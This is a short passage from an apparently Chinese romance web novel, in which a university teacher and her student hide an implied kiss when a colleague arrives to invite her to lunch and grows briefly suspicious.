敲门声响起,理智回归,徐如菡一把推开这个混账羔子,拿起手帕擦了擦嘴。 “请进。”她瞪了童辉一眼,留给他整理的时间不多,也就一眨眼的功夫。 童辉只能把手缩进袖子里,抽出里面的羊绒衫,擦了擦嘴,起身站在了旁边。 是大一的带班老师,进来喊徐如菡一起去吃饭。 看到桌子上的饭菜,目瞪口呆。 徐如菡神色平静的解释道:“学生要去实习了,特地给我露一手,我正愁找不到人帮我解决呢,来吧,一起。” 童辉也笑笑:“秦老师一起吧,我去食堂了。” 秦老师没有多想,却在童辉转身的时候,注意到了上面的油腻。 再看徐如菡,倒是镇定自若,就是嘴唇红得滴血。 可能是她想多了,秦老师坐下,拿起了筷子。